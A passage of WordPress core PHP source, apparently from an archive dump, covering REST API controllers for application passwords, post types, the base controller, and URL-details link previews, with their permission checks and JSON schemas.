rest_url( sprintf( '%s/users/%d/application-passwords/%s', $this->namespace, $user->ID, $item['uuid'] ) ), ), ); } /** * Gets the requested user. * * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @return WP_User|WP_Error The WordPress user associated with the request, or a WP_Error if none found. */ protected function get_user( $request ) { if ( ! wp_is_application_passwords_available() ) { return new WP_Error( 'application_passwords_disabled', __( 'Application passwords are not available.' ), array( 'status' => 501 ) ); } $error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) ); $id = $request['user_id']; if ( 'me' === $id ) { if ( ! is_user_logged_in() ) { return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) ); } $user = wp_get_current_user(); } else { $id = (int) $id; if ( $id <= 0 ) { return $error; } $user = get_userdata( $id ); } if ( empty( $user ) || ! $user->exists() ) { return $error; } if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) { return $error; } if ( ! wp_is_application_passwords_available_for_user( $user ) ) { return new WP_Error( 'application_passwords_disabled_for_user', __( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ), array( 'status' => 501 ) ); } return $user; } /** * Gets the requested application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @return array|WP_Error The application password details if found, a WP_Error otherwise. */ protected function get_application_password( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $password = WP_Application_Passwords::get_user_application_password( $user->ID, $request['uuid'] ); if ( ! $password ) { return new WP_Error( 'rest_application_password_not_found', __( 'Application password not found.' ), array( 'status' => 404 ) ); } return $password; } /** * Retrieves the query params for the collections. * * @since 5.6.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } /** * Retrieves the application password's schema, conforming to JSON Schema. * * @since 5.6.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'application-password', 'type' => 'object', 'properties' => array( 'uuid' => array( 'description' => __( 'The unique identifier for the application password.' ), 'type' => 'string', 'format' => 'uuid', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'app_id' => array( 'description' => __( 'A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace.' ), 'type' => 'string', 'format' => 'uuid', 'context' => array( 'view', 'edit', 'embed' ), ), 'name' => array( 'description' => __( 'The name of the application password.' ), 'type' => 'string', 'required' => true, 'context' => array( 'view', 'edit', 'embed' ), 'minLength' => 1, 'pattern' => '.*\S.*', ), 'password' => array( 'description' => __( 'The generated password. Only available after adding an application.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'created' => array( 'description' => __( 'The GMT date the application password was created.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'last_used' => array( 'description' => __( 'The GMT date the application password was last used.' ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'last_ip' => array( 'description' => __( 'The IP address the application password was last used by.' ), 'type' => array( 'string', 'null' ), 'format' => 'ip', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } } rest-api/endpoints/class-wp-rest-post-types-controller.php000064400000026613147177035020020034 0ustar00namespace = 'wp/v2'; $this->rest_base = 'types'; } /** * Registers the routes for post types. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'type' => array( 'description' => __( 'An alphanumeric identifier for the post type.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => '__return_true', 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read types. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all public post types. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( 'edit' === $request['context'] && ! current_user_can( $type->cap->edit_posts ) ) { continue; } $post_type = $this->prepare_item_for_response( $type, $request ); $data[ $type->name ] = $this->prepare_response_for_collection( $post_type ); } return rest_ensure_response( $data ); } /** * Retrieves a specific post type. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $obj = get_post_type_object( $request['type'] ); if ( empty( $obj ) ) { return new WP_Error( 'rest_type_invalid', __( 'Invalid post type.' ), array( 'status' => 404 ) ); } if ( empty( $obj->show_in_rest ) ) { return new WP_Error( 'rest_cannot_read_type', __( 'Cannot view post type.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } $data = $this->prepare_item_for_response( $obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a post type object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$post_type` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post_Type $item Post type object. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post_type = $item; $taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) ); $taxonomies = wp_list_pluck( $taxonomies, 'name' ); $base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name; $namespace = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2'; $supports = get_all_post_type_supports( $post_type->name ); $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'capabilities', $fields, true ) ) { $data['capabilities'] = $post_type->cap; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $post_type->description; } if ( in_array( 'hierarchical', $fields, true ) ) { $data['hierarchical'] = $post_type->hierarchical; } if ( in_array( 'visibility', $fields, true ) ) { $data['visibility'] = array( 'show_in_nav_menus' => (bool) $post_type->show_in_nav_menus, 'show_ui' => (bool) $post_type->show_ui, ); } if ( in_array( 'viewable', $fields, true ) ) { $data['viewable'] = is_post_type_viewable( $post_type ); } if ( in_array( 'labels', $fields, true ) ) { $data['labels'] = $post_type->labels; } if ( in_array( 'name', $fields, true ) ) { $data['name'] = $post_type->label; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $post_type->name; } if ( in_array( 'supports', $fields, true ) ) { $data['supports'] = $supports; } if ( in_array( 'taxonomies', $fields, true ) ) { $data['taxonomies'] = array_values( $taxonomies ); } if ( in_array( 'rest_base', $fields, true ) ) { $data['rest_base'] = $base; } if ( in_array( 'rest_namespace', $fields, true ) ) { $data['rest_namespace'] = $namespace; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $response->add_links( array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'https://api.w.org/items' => array( 'href' => rest_url( rest_get_route_for_post_type_items( $post_type->name ) ), ), ) ); /** * Filters a post type returned from the REST API. * * Allows modification of the post type data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post_Type $post_type The original post type object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request ); } /** * Retrieves the post type's schema, conforming to JSON Schema. * * @since 4.7.0 * @since 4.8.0 The `supports` property was added. * @since 5.9.0 The `visibility` and `rest_namespace` properties were added. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'type', 'type' => 'object', 'properties' => array( 'capabilities' => array( 'description' => __( 'All capabilities used by the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'A human-readable description of the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'hierarchical' => array( 'description' => __( 'Whether or not the post type should have children.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'viewable' => array( 'description' => __( 'Whether or not the post type can be viewed.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'labels' => array( 'description' => __( 'Human-readable labels for the post type for various contexts.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The title for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'supports' => array( 'description' => __( 'All features, supported by the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'taxonomies' => array( 'description' => __( 'Taxonomies associated with post type.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'rest_base' => array( 'description' => __( 'REST base route for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rest_namespace' => array( 'description' => __( 'REST route\'s namespace for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'visibility' => array( 'description' => __( 'The visibility settings for the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'show_ui' => array( 'description' => __( 'Whether to generate a default UI for managing this post type.' ), 'type' => 'boolean', ), 'show_in_nav_menus' => array( 'description' => __( 'Whether to make the post type available for selection in navigation menus.' ), 'type' => 'boolean', ), ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } rest-api/endpoints/class-wp-rest-controller.php000064400000044141147177035020015703 0ustar00 405 ) ); } /** * Retrieves a collection of items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to get a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Retrieves one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to create items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Creates one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to update a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Updates one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to delete a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Deletes one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares one item for create or update operation. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object|WP_Error The prepared item, or WP_Error object on failure. */ protected function prepare_item_for_database( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares the item for the REST response. * * @since 4.7.0 * * @param mixed $item WordPress representation of the item. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares a response for insertion into a collection. * * @since 4.7.0 * * @param WP_REST_Response $response Response object. * @return array|mixed Response data, ready for insertion into collection data. */ public function prepare_response_for_collection( $response ) { if ( ! ( $response instanceof WP_REST_Response ) ) { return $response; } $data = (array) $response->get_data(); $server = rest_get_server(); $links = $server::get_compact_response_links( $response ); if ( ! empty( $links ) ) { $data['_links'] = $links; } return $data; } /** * Filters a response based on the context defined in the schema. * * @since 4.7.0 * * @param array $data Response data to filter. * @param string $context Context defined in the schema. * @return array Filtered response. */ public function filter_response_by_context( $data, $context ) { $schema = $this->get_item_schema(); return rest_filter_response_by_context( $data, $schema, $context ); } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { return $this->add_additional_fields_schema( array() ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 4.7.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = $this->get_item_schema(); if ( ! empty( $schema['properties'] ) ) { foreach ( $schema['properties'] as &$property ) { unset( $property['arg_options'] ); } } return $schema; } /** * Retrieves the query params for the collections. * * @since 4.7.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { return array( 'context' => $this->get_context_param(), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 10, 'minimum' => 1, 'maximum' => 100, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', ), 'search' => array( 'description' => __( 'Limit results to those matching a string.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', 'validate_callback' => 'rest_validate_request_arg', ), ); } /** * Retrieves the magical context param. * * Ensures consistent descriptions between endpoints, and populates enum from schema. * * @since 4.7.0 * * @param array $args Optional. Additional arguments for context parameter. Default empty array. * @return array Context parameter details. */ public function get_context_param( $args = array() ) { $param_details = array( 'description' => __( 'Scope under which the request is made; determines fields present in response.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ); $schema = $this->get_item_schema(); if ( empty( $schema['properties'] ) ) { return array_merge( $param_details, $args ); } $contexts = array(); foreach ( $schema['properties'] as $attributes ) { if ( ! empty( $attributes['context'] ) ) { $contexts = array_merge( $contexts, $attributes['context'] ); } } if ( ! empty( $contexts ) ) { $param_details['enum'] = array_unique( $contexts ); rsort( $param_details['enum'] ); } return array_merge( $param_details, $args ); } /** * Adds the values from additional fields to a data object. * * @since 4.7.0 * * @param array $prepared Prepared response array. * @param WP_REST_Request $request Full details about the request. * @return array Modified data object with additional fields. */ protected function add_additional_fields_to_object( $prepared, $request ) { $additional_fields = $this->get_additional_fields(); $requested_fields = $this->get_fields_for_response( $request ); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['get_callback'] ) { continue; } if ( ! rest_is_field_included( $field_name, $requested_fields ) ) { continue; } $prepared[ $field_name ] = call_user_func( $field_options['get_callback'], $prepared, $field_name, $request, $this->get_object_type() ); } return $prepared; } /** * Updates the values of additional fields added to a data object. * * @since 4.7.0 * * @param object $object Data model like WP_Term or WP_Post. * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True on success, WP_Error object if a field cannot be updated. */ protected function update_additional_fields_for_object( $object, $request ) { $additional_fields = $this->get_additional_fields(); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['update_callback'] ) { continue; } // Don't run the update callbacks if the data wasn't passed in the request. if ( ! isset( $request[ $field_name ] ) ) { continue; } $result = call_user_func( $field_options['update_callback'], $request[ $field_name ], $object, $field_name, $request, $this->get_object_type() ); if ( is_wp_error( $result ) ) { return $result; } } return true; } /** * Adds the schema from additional fields to a schema array. * * The type of object is inferred from the passed schema. * * @since 4.7.0 * * @param array $schema Schema array. * @return array Modified Schema array. */ protected function add_additional_fields_schema( $schema ) { if ( empty( $schema['title'] ) ) { return $schema; } // Can't use $this->get_object_type otherwise we cause an inf loop. $object_type = $schema['title']; $additional_fields = $this->get_additional_fields( $object_type ); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['schema'] ) { continue; } $schema['properties'][ $field_name ] = $field_options['schema']; } return $schema; } /** * Retrieves all of the registered additional fields for a given object-type. * * @since 4.7.0 * * @global array $wp_rest_additional_fields Holds registered fields, organized by object type. * * @param string $object_type Optional. The object type. * @return array Registered additional fields (if any), empty array if none or if the object type * could not be inferred. */ protected function get_additional_fields( $object_type = null ) { global $wp_rest_additional_fields; if ( ! $object_type ) { $object_type = $this->get_object_type(); } if ( ! $object_type ) { return array(); } if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) { return array(); } return $wp_rest_additional_fields[ $object_type ]; } /** * Retrieves the object type this controller is responsible for managing. * * @since 4.7.0 * * @return string Object type for the controller. */ protected function get_object_type() { $schema = $this->get_item_schema(); if ( ! $schema || ! isset( $schema['title'] ) ) { return null; } return $schema['title']; } /** * Gets an array of fields to be included on the response. * * Included fields are based on item schema and `_fields=` request argument. * * @since 4.9.6 * * @param WP_REST_Request $request Full details about the request. * @return string[] Fields to be included in the response. */ public function get_fields_for_response( $request ) { $schema = $this->get_item_schema(); $properties = isset( $schema['properties'] ) ? $schema['properties'] : array(); $additional_fields = $this->get_additional_fields(); foreach ( $additional_fields as $field_name => $field_options ) { // For back-compat, include any field with an empty schema // because it won't be present in $this->get_item_schema(). if ( is_null( $field_options['schema'] ) ) { $properties[ $field_name ] = $field_options; } } // Exclude fields that specify a different context than the request context. $context = $request['context']; if ( $context ) { foreach ( $properties as $name => $options ) { if ( ! empty( $options['context'] ) && ! in_array( $context, $options['context'], true ) ) { unset( $properties[ $name ] ); } } } $fields = array_keys( $properties ); if ( ! isset( $request['_fields'] ) ) { return $fields; } $requested_fields = wp_parse_list( $request['_fields'] ); if ( 0 === count( $requested_fields ) ) { return $fields; } // Trim off outside whitespace from the comma delimited list. $requested_fields = array_map( 'trim', $requested_fields ); // Always persist 'id', because it can be needed for add_additional_fields_to_object(). if ( in_array( 'id', $fields, true ) ) { $requested_fields[] = 'id'; } // Return the list of all requested fields which appear in the schema. return array_reduce( $requested_fields, static function( $response_fields, $field ) use ( $fields ) { if ( in_array( $field, $fields, true ) ) { $response_fields[] = $field; return $response_fields; } // Check for nested fields if $field is not a direct match. $nested_fields = explode( '.', $field ); // A nested field is included so long as its top-level property // is present in the schema. if ( in_array( $nested_fields[0], $fields, true ) ) { $response_fields[] = $field; } return $response_fields; }, array() ); } /** * Retrieves an array of endpoint arguments from the item schema for the controller. * * @since 4.7.0 * * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are * checked for required values and may fall-back to a given default, this is not done * on `EDITABLE` requests. Default WP_REST_Server::CREATABLE. * @return array Endpoint arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { return rest_get_endpoint_args_for_schema( $this->get_item_schema(), $method ); } /** * Sanitizes the slug value. * * @since 4.7.0 * * @internal We can't use sanitize_title() directly, as the second * parameter is the fallback title, which would end up being set to the * request object. * * @see https://github.com/WP-API/WP-API/issues/1585 * * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659 * * @param string $slug Slug value passed in request. * @return string Sanitized value for the slug. */ public function sanitize_slug( $slug ) { return sanitize_title( $slug ); } } rest-api/endpoints/class-wp-rest-url-details-controller.php000064400000050113147177035020020122 0ustar00namespace = 'wp-block-editor/v1'; $this->rest_base = 'url-details'; } /** * Registers the necessary REST API routes. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'parse_url_details' ), 'args' => array( 'url' => array( 'required' => true, 'description' => __( 'The URL to process.' ), 'validate_callback' => 'wp_http_validate_url', 'sanitize_callback' => 'esc_url_raw', 'type' => 'string', 'format' => 'uri', ), ), 'permission_callback' => array( $this, 'permissions_check' ), 'schema' => array( $this, 'get_public_item_schema' ), ), ) ); } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'url-details', 'type' => 'object', 'properties' => array( 'title' => array( 'description' => sprintf( /* translators: %s: HTML title tag. */ __( 'The contents of the %s element from the URL.' ), '' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'icon' => array( 'description' => sprintf( /* translators: %s: HTML link tag. */ __( 'The favicon image link of the %s element from the URL.' ), '<link rel="icon">' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => sprintf( /* translators: %s: HTML meta tag. */ __( 'The content of the %s element from the URL.' ), '<meta name="description">' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'image' => array( 'description' => sprintf( /* translators: 1: HTML meta tag, 2: HTML meta tag. */ __( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ), '<meta property="og:image">', '<meta property="og:image:url">' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the contents of the title tag from the HTML response. * * @since 5.9.0 * * @param WP_REST_REQUEST $request Full details about the request. * @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors. */ public function parse_url_details( $request ) { $url = untrailingslashit( $request['url'] ); if ( empty( $url ) ) { return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) ); } // Transient per URL. $cache_key = $this->build_cache_key_for_url( $url ); // Attempt to retrieve cached response. $cached_response = $this->get_cache( $cache_key ); if ( ! empty( $cached_response ) ) { $remote_url_response = $cached_response; } else { $remote_url_response = $this->get_remote_url( $url ); // Exit if we don't have a valid body or it's empty. if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) { return $remote_url_response; } // Cache the valid response. $this->set_cache( $cache_key, $remote_url_response ); } $html_head = $this->get_document_head( $remote_url_response ); $meta_elements = $this->get_meta_with_content_elements( $html_head ); $data = $this->add_additional_fields_to_object( array( 'title' => $this->get_title( $html_head ), 'icon' => $this->get_icon( $html_head, $url ), 'description' => $this->get_description( $meta_elements ), 'image' => $this->get_image( $meta_elements, $url ), ), $request ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); /** * Filters the URL data for the response. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param string $url The requested URL. * @param WP_REST_Request $request Request object. * @param string $remote_url_response HTTP response body from the remote URL. */ return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response ); } /** * Checks whether a given request has permission to read remote URLs. * * @since 5.9.0 * * @return WP_Error|bool True if the request has permission, else WP_Error. */ public function permissions_check() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view_url_details', __( 'Sorry, you are not allowed to process remote URLs.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves the document title from a remote URL. * * @since 5.9.0 * * @param string $url The website URL whose HTML to access. * @return string|WP_Error The HTTP response from the remote URL on success. * WP_Error if no response or no content. */ private function get_remote_url( $url ) { /* * Provide a modified UA string to workaround web properties which block WordPress "Pingbacks". * Why? The UA string used for pingback requests contains `WordPress/` which is very similar * to that used as the default UA string by the WP HTTP API. Therefore requests from this * REST endpoint are being unintentionally blocked as they are misidentified as pingback requests. * By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP") * we are able to work around this issue. * Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`. */ $modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')'; $args = array( 'limit_response_size' => 150 * KB_IN_BYTES, 'user-agent' => $modified_user_agent, ); /** * Filters the HTTP request args for URL data retrieval. * * Can be used to adjust response size limit and other WP_Http::request() args. * * @since 5.9.0 * * @param array $args Arguments used for the HTTP request. * @param string $url The attempted URL. */ $args = apply_filters( 'rest_url_details_http_request_args', $args, $url ); $response = wp_safe_remote_get( $url, $args ); if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) { // Not saving the error response to cache since the error might be temporary. return new WP_Error( 'no_response', __( 'URL not found. Response returned a non-200 status code for this URL.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } $remote_body = wp_remote_retrieve_body( $response ); if ( empty( $remote_body ) ) { return new WP_Error( 'no_content', __( 'Unable to retrieve body from response at this URL.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } return $remote_body; } /** * Parses the title tag contents from the provided HTML. * * @since 5.9.0 * * @param string $html The HTML from the remote website at URL. * @return string The title tag contents on success. Empty string if not found. */ private function get_title( $html ) { $pattern = '#<title[^>]*>(.*?)<\s*/\s*title>#is'; preg_match( $pattern, $html, $match_title ); if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) { return ''; } $title = trim( $match_title[1] ); return $this->prepare_metadata_for_output( $title ); } /** * Parses the site icon from the provided HTML. * * @since 5.9.0 * * @param string $html The HTML from the remote website at URL. * @param string $url The target website URL. * @return string The icon URI on success. Empty string if not found. */ private function get_icon( $html, $url ) { // Grab the icon's link element. $pattern = '#<link\s[^>]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU'; preg_match( $pattern, $html, $element ); if ( empty( $element[0] ) || ! is_string( $element[0] ) ) { return ''; } $element = trim( $element[0] ); // Get the icon's href value. $pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU'; preg_match( $pattern, $element, $icon ); if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) { return ''; } $icon = trim( $icon[2] ); // If the icon is a data URL, return it. $parsed_icon = parse_url( $icon ); if ( isset( 